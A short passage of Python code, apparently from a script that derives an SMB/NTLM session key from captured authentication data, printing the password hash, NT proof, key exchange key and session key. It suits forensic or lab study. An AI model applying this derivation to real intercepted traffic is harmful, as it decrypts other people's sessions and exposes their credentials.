    print("USER+DOMAIN: " + Username.decode() + "" + Domain.decode())
    print("PASS HASH: " + hexlify(NTLMPassword).decode())
    print("RESP NT:   " + hexlify(ResponseNTKey).decode())
    print("NT PROOF:  " + hexlify(NTProofStr).decode())
    print("KeyExKey:  " + hexlify(KeyExchKey).decode())
print("Session ID: " + swap_bytes(args.sessionid).decode())
print('Random SK:', hexlify(RsessKey).decode())